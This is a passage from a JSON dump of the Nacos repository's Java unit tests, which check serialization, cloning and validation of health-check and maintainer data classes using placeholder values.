objectMapper.writeValueAsString(mysql);\n        assertTrue(actual.contains(\"\\\"user\\\":\\\"user\\\"\"));\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"MYSQL\\\"\"));\n        assertTrue(actual.contains(\"\\\"pwd\\\":\\\"pwd\\\"\"));\n        assertTrue(actual.contains(\"\\\"cmd\\\":\\\"cmd\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String testChecker = \"{\\\"type\\\":\\\"MYSQL\\\",\\\"user\\\":\\\"user\\\",\\\"pwd\\\":\\\"pwd\\\",\\\"cmd\\\":\\\"cmd\\\"}\";\n        Mysql actual = objectMapper.readValue(testChecker, Mysql.class);\n        assertEquals(\"cmd\", actual.getCmd());\n        assertEquals(\"pwd\", actual.getPwd());\n        assertEquals(\"user\", actual.getUser());\n        assertEquals(Mysql.TYPE, actual.getType());\n    }\n    \n    @Test\n    void testClone() throws CloneNotSupportedException {\n        Mysql cloned = mysql.clone();\n        assertEquals(mysql.hashCode(), cloned.hashCode());\n        assertEquals(mysql, cloned);\n    }\n    \n    @Test\n    void testNotEquals() throws CloneNotSupportedException {\n        assertNotEquals(mysql, new Tcp());\n        Mysql cloned = mysql.clone();\n        cloned.setUser(\"aaa\");\n        assertNotEquals(mysql, cloned);\n        cloned = mysql.clone();\n        cloned.setPwd(\"aaa\");\n        assertNotEquals(mysql, cloned);\n        cloned = mysql.clone();\n        cloned.setCmd(\"aaa\");\n        assertNotEquals(mysql, cloned);\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/healthcheck/impl/TcpTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck.impl;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass TcpTest {\n    \n    @Test\n    void testClone() throws CloneNotSupportedException {\n        Tcp original = new Tcp();\n        Tcp cloned = original.clone();\n        assertEquals(original.hashCode(), cloned.hashCode());\n        assertEquals(original, cloned);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientPublisherInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientPublisherInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ClientPublisherInfo clientPublisherInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        clientPublisherInfo = new ClientPublisherInfo();\n        clientPublisherInfo.setClientId(\"clientId\");\n        clientPublisherInfo.setIp(\"1.1.1.1\");\n        clientPublisherInfo.setPort(8080);\n        clientPublisherInfo.setClusterName(\"clusterName\");\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(clientPublisherInfo);\n        assertTrue(json.contains(\"\\\"clientId\\\":\\\"clientId\\\"\"));\n        assertTrue(json.contains(\"\\\"ip\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8080\"));\n        assertTrue(json.contains(\"\\\"clusterName\\\":\\\"clusterName\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"clientId\\\":\\\"clientId\\\",\\\"ip\\\":\\\"1.1.1.1\\\",\\\"port\\\":8080,\\\"clusterName\\\":\\\"clusterName\\\"}\";\n        ClientPublisherInfo clientPublisherInfo1 = mapper.readValue(jsonString, ClientPublisherInfo.class);\n        assertEquals(clientPublisherInfo.getClientId(), clientPublisherInfo1.getClientId());\n        assertEquals(clientPublisherInfo.getIp(), clientPublisherInfo1.getIp());\n        assertEquals(clientPublisherInfo.getPort(), clientPublisherInfo1.getPort());\n        assertEquals(clientPublisherInfo.getClusterName(), clientPublisherInfo1.getClusterName());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientServiceInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientServiceInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ClientServiceInfo clientServiceInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        clientServiceInfo = new ClientServiceInfo();\n        clientServiceInfo.setNamespaceId(\"namespaceId\");\n        clientServiceInfo.setGroupName(\"groupName\");\n        clientServiceInfo.setServiceName(\"serviceName\");\n        \n        ClientPublisherInfo publisherInfo = new ClientPublisherInfo();\n        publisherInfo.setClientId(\"publisherId\");\n        publisherInfo.setIp(\"1.1.1.1\");\n        publisherInfo.setPort(8080);\n        publisherInfo.setClusterName(\"publisherCluster\");\n        clientServiceInfo.setPublisherInfo(publisherInfo);\n        \n        ClientSubscriberInfo subscriberInfo = new ClientSubscriberInfo();\n        subscriberInfo.setClientId(\"subscriberId\");\n        subscriberInfo.setAppName(\"subscriberApp\");\n        subscriberInfo.setAgent(\"subscriberAgent\");\n        subscriberInfo.setAddress(\"1.1.1.1:8080\");\n        clientServiceInfo.setSubscriberInfo(subscriberInfo);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(clientServiceInfo);\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"namespaceId\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"groupName\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"serviceName\\\"\"));\n        assertTrue(json.contains(\"\\\"publisherInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"subscriberInfo\\\":{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString =\n                \"{\\\"namespaceId\\\":\\\"namespaceId\\\",\\\"groupName\\\":\\\"groupName\\\",\\\"serviceName\\\":\\\"serviceName\\\",\"\n                        + \"\\\"publisherInfo\\\":{\\\"clientId\\\":\\\"publisherId\\\",\\\"ip\\\":\\\"1.1.1.1\\\",\\\"port\\\":8080,\\\"clusterName\\\":\\\"publisherCluster\\\"},\"\n                        + \"\\\"subscriberInfo\\\":{\\\"clientId\\\":\\\"subscriberId\\\",\\\"appName\\\":\\\"subscriberApp\\\",\\\"agent\\\":\\\"subscriberAgent\\\"\"\n                        + \",\\\"address\\\":\\\"1.1.1.1:8080\\\"}}\";\n        ClientServiceInfo clientServiceInfo1 = mapper.readValue(jsonString, ClientServiceInfo.class);\n        assertEquals(clientServiceInfo.getNamespaceId(), clientServiceInfo1.getNamespaceId());\n        assertEquals(clientServiceInfo.getGroupName(), clientServiceInfo1.getGroupName());\n        assertEquals(clientServiceInfo.getServiceName(), clientServiceInfo1.getServiceName());\n        \n        assertEquals(clientServiceInfo.getPublisherInfo().getClientId(),\n                clientServiceInfo1.getPublisherInfo().getClientId());\n        assertEquals(clientServiceInfo.getPublisherInfo().getIp(), clientServiceInfo1.getPublisherInfo().getIp());\n        assertEquals(clientServiceInfo.getPublisherInfo().getPort(), clientServiceInfo1.getPublisherInfo().getPort());\n        assertEquals(clientServiceInfo.getPublisherInfo().getClusterName(),\n                clientServiceInfo1.getPublisherInfo().getClusterName());\n        \n        assertEquals(clientServiceInfo.getSubscriberInfo().getClientId(),\n                clientServiceInfo1.getSubscriberInfo().getClientId());\n        assertEquals(clientServiceInfo.getSubscriberInfo().getAppName(),\n                clientServiceInfo1.getSubscriberInfo().getAppName());\n        assertEquals(clientServiceInfo.getSubscriberInfo().getAgent(),\n                clientServiceInfo1.getSubscriberInfo().getAgent());\n        assertEquals(clientServiceInfo.getSubscriberInfo().getAddress(),\n                clientServiceInfo1.getSubscriberInfo().getAddress());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientSubscriberInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientSubscriberInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ClientSubscriberInfo clientSubscriberInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        clientSubscriberInfo = new ClientSubscriberInfo();\n        clientSubscriberInfo.setClientId(\"clientId\");\n        clientSubscriberInfo.setAppName(\"appName\");\n        clientSubscriberInfo.setAgent(\"agent\");\n        clientSubscriberInfo.setAddress(\"1.1.1.1:8080\");\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(clientSubscriberInfo);\n        assertTrue(json.contains(\"\\\"clientId\\\":\\\"clientId\\\"\"));\n        assertTrue(json.contains(\"\\\"appName\\\":\\\"appName\\\"\"));\n        assertTrue(json.contains(\"\\\"agent\\\":\\\"agent\\\"\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"1.1.1.1:8080\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"clientId\\\":\\\"clientId\\\",\\\"appName\\\":\\\"appName\\\",\\\"agent\\\":\\\"agent\\\",\\\"address\\\":\\\"1.1.1.1:8080\\\"}\";\n        ClientSubscriberInfo clientSubscriberInfo1 = mapper.readValue(jsonString, ClientSubscriberInfo.class);\n        assertEquals(clientSubscriberInfo.getClientId(), clientSubscriberInfo1.getClientId());\n        assertEquals(clientSubscriberInfo.getAppName(), clientSubscriberInfo1.getAppName());\n        assertEquals(clientSubscriberInfo.getAgent(), clientSubscriberInfo1.getAgent());\n        assertEquals(clientSubscriberInfo.getAddress(), clientSubscriberInfo1.getAddress());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientSummaryInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientSummaryInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ClientSummaryInfo clientSummaryInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        clientSummaryInfo = new ClientSummaryInfo();\n        clientSummaryInfo.setClientId(\"clientId\");\n        clientSummaryInfo.setEphemeral(true);\n        clientSummaryInfo.setLastUpdatedTime(1000L);\n        clientSummaryInfo.setClientType(\"connection\");\n        clientSummaryInfo.setConnectType(\"grpc\");\n        clientSummaryInfo.setAppName(\"appName\");\n        clientSummaryInfo.setVersion(\"version\");\n        clientSummaryInfo.setClientIp(\"1.1.1.1\");\n        clientSummaryInfo.setClientPort(8080);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(clientSummaryInfo);\n        assertTrue(json.contains(\"\\\"clientId\\\":\\\"clientId\\\"\"));\n        assertTrue(json.contains(\"\\\"ephemeral\\\":true\"));\n        assertTrue(json.contains(\"\\\"lastUpdatedTime\\\":1000\"));\n        assertTrue(json.contains(\"\\\"clientType\\\":\\\"connection\\\"\"));\n        assertTrue(json.contains(\"\\\"connectType\\\":\\\"grpc\\\"\"));\n        assertTrue(json.contains(\"\\\"appName\\\":\\\"appName\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"version\\\"\"));\n        assertTrue(json.contains(\"\\\"clientIp\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"clientPort\\\":8080\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"clientId\\\":\\\"clientId\\\",\\\"ephemeral\\\":true,\\\"lastUpdatedTime\\\":1000,\"\n                + \"\\\"clientType\\\":\\\"connection\\\",\\\"connectType\\\":\\\"grpc\\\",\\\"appName\\\":\\\"appName\\\",\"\n                + \"\\\"version\\\":\\\"version\\\",\\\"clientIp\\\":\\\"1.1.1.1\\\",\\\"clientPort\\\":8080}\";\n        ClientSummaryInfo clientSummaryInfo1 = mapper.readValue(jsonString, ClientSummaryInfo.class);\n        assertEquals(clientSummaryInfo.getClientId(), clientSummaryInfo1.getClientId());\n        assertEquals(clientSummaryInfo.isEphemeral(), clientSummaryInfo1.isEphemeral());\n        assertEquals(clientSummaryInfo.getLastUpdatedTime(), clientSummaryInfo1.getLastUpdatedTime());\n        assertEquals(clientSummaryInfo.getClientType(), clientSummaryInfo1.getClientType());\n        assertEquals(clientSummaryInfo.getConnectType(), clientSummaryInfo1.getConnectType());\n        assertEquals(clientSummaryInfo.getAppName(), clientSummaryInfo1.getAppName());\n        assertEquals(clientSummaryInfo.getVersion(), clientSummaryInfo1.getVersion());\n        assertEquals(clientSummaryInfo.getClientIp(), clientSummaryInfo1.getClientIp());\n        assertEquals(clientSummaryInfo.getClientPort(), clientSummaryInfo1.getClientPort());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClusterInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ClusterInfoTest {\n    \n    @Test\n    void testValidateWithEmptyClusterName() throws NacosApiException {\n        ClusterInfo clusterInfo = new ClusterInfo();\n        clusterInfo.setClusterName(\"\");\n        clusterInfo.setHealthChecker(new AbstractHealthChecker.None());\n        \n        clusterInfo.validate();\n        \n        assertEquals(Constants.DEFAULT_CLUSTER_NAME, clusterInfo.getClusterName());\n    }\n    \n    @Test\n    void testValidateWithNullClusterName() throws NacosApiException {\n        ClusterInfo clusterInfo = new ClusterInfo();\n        clusterInfo.setClusterName(null);\n        clusterInfo.setHealthChecker(new AbstractHealthChecker.None());\n        \n        clusterInfo.validate();\n        \n        assertEquals(Constants.DEFAULT_CLUSTER_NAME, clusterInfo.getClusterName());\n    }\n    \n    @Test\n    void testValidateWithValidClusterName() throws NacosApiException {\n        ClusterInfo clusterInfo = new ClusterInfo();\n        clusterInfo.setClusterName(\"test-cluster\");\n        clusterInfo.setHealthChecker(new AbstractHealthChecker.None());\n        \n        clusterInfo.validate();\n        \n        assertEquals(\"test-cluster\", clusterInfo.getClusterName());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/InstanceMetadataBatchResultTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstanceMetadataBatchResultTest {\n    \n    private ObjectMapper mapper;\n    \n    private InstanceMetadataBatchResult instanceMetadataBatchResult;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        instanceMetadataBatchResult = new InstanceMetadataBatchResult();\n        instanceMetadataBatchResult.setUpdated(Collections.singletonList(\"1.1.1.1\"));\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(instanceMetadataBatchResult);\n        assertTrue(json.contains(\"\\\"updated\\\":[\\\"1.1.1.1\\\"]\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"updated\\\":[\\\"1.1.1.1\\\"]}\";\n        InstanceMetadataBatchResult metricsInfo1 = mapper.readValue(jsonString, InstanceMetadataBatchResult.class);\n        assertEquals(instanceMetadataBatchResult.getUpdated(), metricsInfo1.getUpdated());\n    }\n    \n    @Test\n    void testConstructorWithParameter() {\n        InstanceMetadataBatchResult result = new InstanceMetadataBatchResult(Collections.singletonList(\"2.2.2.2\"));\n        assertEquals(1, result.getUpdated().size());\n        assertEquals(\"2.2.2.2\", result.getUpdated().get(0));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/MetricsInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass MetricsInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private MetricsInfo metricsInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        metricsInfo = new MetricsInfo();\n        metricsInfo.setStatus(\"UP\");\n        metricsInfo.setClientCount(10);\n        metricsInfo.setInstanceCount(100);\n        metricsInfo.setServiceCount(20);\n        metricsInfo.setSubscribeCount(200);\n        metricsInfo.setConnectionBasedClientCount(8);\n        metricsInfo.setResponsibleClientCount(8);\n        metricsInfo.setEphemeralIpPortClientCount(2);\n        metricsInfo.setPersistentIpPortClientCount(0);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(metricsInfo);\n        assertTrue(json.contains(\"\\\"status\\\":\\\"UP\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceCount\\\":20\"));\n        assertTrue(json.contains(\"\\\"instanceCount\\\":100\"));\n        assertTrue(json.contains(\"\\\"subscribeCount\\\":200\"));\n        assertTrue(json.contains(\"\\\"clientCount\\\":10\"));\n        assertTrue(json.contains(\"\\\"connectionBasedClientCount\\\":8\"));\n        assertTrue(json.contains(\"\\\"ephemeralIpPortClientCount\\\":2\"));\n        assertTrue(json.contains(\"\\\"persistentIpPortClientCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"responsibleClientCount\\\":8\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"status\\\":\\\"UP\\\",\\\"serviceCount\\\":20,\\\"instanceCount\\\":100,\\\"subscribeCount\\\":200,\"\n                + \"\\\"clientCount\\\":10,\\\"connectionBasedClientCount\\\":8,\\\"ephemeralIpPortClientCount\\\":2,\"\n                + \"\\\"persistentIpPortClientCount\\\":0,\\\"responsibleClientCount\\\":8}\\n\";\n        MetricsInfo metricsInfo1 = mapper.readValue(jsonString, MetricsInfo.class);\n        assertEquals(metricsInfo.getStatus(), metricsInfo1.getStatus());\n        assertEquals(metricsInfo.getClientCount(), metricsInfo1.getClientCount());\n        assertEquals(metricsInfo.getInstanceCount(), metricsInfo1.getInstanceCount());\n        assertEquals(metricsInfo.getServiceCount(), metricsInfo1.getServiceCount());\n        assertEquals(metricsInfo.getSubscribeCount(), metricsInfo1.getSubscribeCount());\n        assertEquals(metricsInfo.getConnectionBasedClientCount(), metricsInfo1.getConnectionBasedClientCount());\n        assertEquals(metricsInfo.getResponsibleClientCount(), metricsInfo1.getResponsibleClientCount());\n        assertEquals(metricsInfo.getEphemeralIpPortClientCount(), metricsInfo1.getEphemeralIpPortClientCount());\n        assertEquals(metricsInfo.getPersistentIpPortClientCount(), metricsInfo1.getPersistentIpPortClientCount());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ServiceDetailInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServiceDetailInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ServiceDetailInfo serviceDetailInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        serviceDetailInfo = new ServiceDetailInfo();\n        serviceDetailInfo.setNamespaceId(\"testNs\");\n        serviceDetailInfo.setGroupName(\"testG\");\n        serviceDetailInfo.setServiceName(\"testS\");\n        serviceDetailInfo.setEphemeral(false);\n        serviceDetailInfo.setProtectThreshold(0.5f);\n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(\"testKey\", \"testValue\");\n        serviceDetailInfo.setMetadata(metadata);\n        ClusterInfo clusterInfo = new ClusterInfo();\n        clusterInfo.setClusterName(\"testC\");\n        clusterInfo.setHealthChecker(new AbstractHealthChecker.None());\n        clusterInfo.setMetadata(metadata);\n        clusterInfo.setHosts(Collections.emptyList());\n        clusterInfo.setHealthyCheckPort(8080);\n        clusterInfo.setUseInstancePortForCheck(false);\n        Map<String, ClusterInfo> clusterMap = new HashMap<>();\n        clusterMap.put(\"testC\", clusterInfo);\n        serviceDetailInfo.setClusterMap(clusterMap);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(serviceDetailInfo);\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"testNs\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"testG\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"testS\\\"\"));\n        assertTrue(json.contains(\"\\\"ephemeral\\\":false\"));\n        assertTrue(json.contains(\"\\\"protectThreshold\\\":0.5\"));\n        assertTrue(json.contains(\"\\\"metadata\\\":{\\\"testKey\\\":\\\"testValue\\\"}\"));\n        assertTrue(json.contains(\"\\\"selector\\\":null\"));\n        assertTrue(json.contains(\"\\\"clusterMap\\\":{\\\"testC\\\":{\"));\n        assertTrue(json.contains(\"\\\"clusterName\\\":\\\"testC\\\"\"));\n        assertTrue(json.contains(\"\\\"healthChecker\\\":{\\\"type\\\":\\\"NONE\\\"}\"));\n        assertTrue(json.contains(\"\\\"hosts\\\":[]\"));\n        assertTrue(json.contains(\"\\\"healthyCheckPort\\\":8080\"));\n        assertTrue(json.contains(\"\\\"useInstancePortForCheck\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"namespaceId\\\":\\\"testNs\\\",\\\"serviceName\\\":\\\"testS\\\",\\\"groupName\\\":\\\"testG\\\",\"\n                + \"\\\"clusterMap\\\":{\\\"testC\\\":{\\\"clusterName\\\":\\\"testC\\\",\\\"healthChecker\\\":{\\\"type\\\":\\\"NONE\\\"},\"\n                + \"\\\"metadata\\\":{\\\"testKey\\\":\\\"testValue\\\"},\\\"hosts\\\":[],\\\"healthyCheckPort\\\":8080,\\\"useInstancePortForCheck\\\":false}},\"\n                + \"\\\"metadata\\\":{\\\"testKey\\\":\\\"testValue\\\"},\"\n                + \"\\\"protectThreshold\\\":0.5,\\\"selector\\\":null,\\\"ephemeral\\\":false}\";\n        ServiceDetailInfo 